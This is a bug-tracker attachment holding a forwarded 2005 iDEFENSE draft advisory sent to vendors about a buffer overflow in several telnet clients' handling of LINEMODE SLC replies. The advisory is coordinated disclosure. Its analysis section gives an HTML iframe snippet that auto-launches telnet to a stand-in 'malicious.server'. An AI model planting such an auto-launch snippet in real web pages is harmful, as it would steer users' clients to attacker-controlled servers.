Attachment 28649 Details for Bug 66128

a1.txt

a1.txt (text/plain), 5.71 KB, created by Thomas Biege on 2005-02-21 15:18:42 UTC

(hide)

Description:

Filename:

MIME Type:

Creator: Thomas Biege

Created: 2005-02-21 15:18:42 UTC

Size: 5.71 KB

patch

obsolete

>From: vendor-disclosure <vendor-disclosure@idefense.com>
>To: vendor-sec@lst.de, krbcore@mit.edu, security-alert@sun.com
>Cc: vendor-disclosure <vendor-disclosure@idefense.com>
>Subject: [vendor-sec] iDEFENSE Security Advisory [IDEF0866] Multiple Telnet Client slc_add_reply() Buffer Overflow Vulnerability
>Errors-To: vendor-sec-admin@lst.de
>Date: Fri, 18 Feb 2005 15:51:17 -0500
>
> 
>-----BEGIN PGP SIGNED MESSAGE-----
>Hash: SHA1
>
>iDEFENSE has identified a Buffer Overflow vulnerability in Multiple
>Telnet Clients. This vulnerability was submitted to iDEFENSE through
>our Vulnerability Contributor Program:
>
>	http://www.idefense.com/poi/teams/vcp.jsp
>
>iDEFENSE Labs has validated this vulnerability and has drafted the
>attached advisory. In accordance with our vendor disclosure policy 
>
>	http://www.idefense.com/legal_disclosure.jsp
>
>We would request that you acknowledge receipt of this initial
>notification within five business days so that we may begin the
>process of coordinating an appropriate public disclosure date for
>this issue that will provide your company with adequate time to
>develop a patch or workaround to mitigate this vulnerability. If you
>have questions regarding this issue or require further details to
>assist with your own analysis, please do not hesitate to contact us.
>
>It is always our goal to coordinate on the public disclosure of
>patches/advisories as quickly as possible after a vulnerability is
>discovered. If however a reasonable timeframe cannot be agreed upon
>for this issue, it will be publicly released in 60 days on
>04/18/2005. iDEFENSE is willing to work with a vendor to find a
>mutually agreeable release date beyond this timeframe so long as the
>vendor continues to make good faith efforts to produce patches in a
>timely fashion and regularly informs iDEFENSE of their progress in
>doing so.
>
>Please note that if the affected product is included within other
>applications and/or operating systems, iDEFENSE will not be
>coordinating disclosure of the vulnerability to affected third
>parties. We would ask that you handle this coordination separately.
>
>Regards,
>Michael Sutton
>
>Michael Sutton
>Director, iDEFENSE Labs
>iDEFENSE
>1875 Campus Commons Drive, Suite 210
>Reston, VA 20191
>direct: 703.480.5628
>voice: 703.390.1230
>fax: 703.390.9456
>msutton@idefense.com
>www.idefense.com
>
>-----BEGIN PGP SIGNATURE-----
>Version: PGP 8.1
>
>iQA/AwUBQhZVYm47Oh6MSHwZEQKmmgCfc3c069BExV4x//xY1oy+p7a6UqwAoMpa
>1sThFRZ6NSSCOLV+CYhTjK2U
>=ISU3
>-----END PGP SIGNATURE-----
> 
>
>Content-Description: pub_Multiple Telnet Client slc_add_reply() Buffer Overflow Vulnerability.txt
>Multiple Telnet Client slc_add_reply() Buffer Overflow Vulnerability
>
>iDEFENSE Security Advisory XX.XX.05
>http://www.idefense.com/application/poi/display?type=vulnerabilities
>MMM DD, 2005
>
>I. BACKGROUND
>
>The TELNET protocol allows virtual network terminals to be connected to
>over the internet. The initial description of the protocol was given in
>RFC854 in May 1983. Since then there have been many extra features added
>including encryption.
>
>II. DESCRIPTION
>
>Remote exploitation of an buffer overflow vulnerability error in 
>multiple telnet clients may allow execution of arbitrary commands.
>
>The vulnerability specifically exists in the handling of the LINEMODE
>suboptions, in that there is no size check made on the output, which is
>stored in a fixed length buffer. By sending a specially constructed
>reply containing a large number of SLC (Set Local Character) commands, 
>it is possible to overflow this buffer with server supplied data.
>
>III. ANALYSIS
>
>Successful exploitation would allow a remote attacker to execute 
>arbitrary code in the context of the user which initiated the telnet 
>process. In order to exploit this vulnerability, an attacker would need 
>to convince the user to connect to their malicious server. It may be 
>possible to automatically launch the telnet command from a webpage, for 
>example:
>
><html><body>
><iframe src='telnet://malicious.server/'>
></body>
>
>On opening this page the telnet client may be launched and attempt to 
>connect to the host 'malicious.server'.
>
>IV. DETECTION
>
>iDEFENSE has confirmed the existance of the vulnerability in the telnet 
>client included in the Kerberos V5 Release 1.3.6 package and the client 
>included in the SUNWtnetc package of Solaris 5.9. It is suspected that 
>most BSD based telnet clients are affected by this vulnerability.
>
>V. WORKAROUND
>
>iDEFENSE is currently unaware of any effective workarounds for this 
>vulnerability.
>
>VI. VENDOR RESPONSE
>
>[Quoted vendor response if available. Otherwise include vendor fix
>details.]
>
>VII. CVE INFORMATION
>
>A Mitre Corp. Common Vulnerabilities and Exposures (CVE) number has not
>been assigned yet.
>
>VIII. DISCLOSURE TIMELINE
>
>02/18/2005  Initial vendor notification
>XX/XX/2005  Initial vendor response
>XX/XX/2005  Coordinated public disclosure
>
>IX. CREDIT
>
>The discoverer of this vulnerability wishes to remain anonymous.
>
>Get paid for vulnerability research
>http://www.idefense.com/poi/teams/vcp.jsp
>
>X. LEGAL NOTICES
>
>Copyright ? 2005 iDEFENSE, Inc.
>
>Permission is granted for the redistribution of this alert
>electronically. It may not be edited in any way without the express
>written consent of iDEFENSE. If you wish to reprint the whole or any
>part of this alert in any other medium other than electronically, please
>email customerservice@idefense.com for permission.
>
>Disclaimer: The information in the advisory is believed to be accurate
>at the time of publishing based on currently available information. Use
>of the information constitutes acceptance for use in an AS IS condition.
>There are no warranties with regard to this information. Neither the
>author nor the publisher accepts any liability for any direct, indirect,
>or consequential loss or damage arising from use of, or reliance on,
>this information.
>
>----- End forwarded message -----
>

Actions: View

Attachments on bug 66128: 28649 | 28650 | 28708 | 28709 | 28710 | 28741 | 28742 | 28745 | 28746 | 28756 | 28757 | 32267 | 32268 | 39119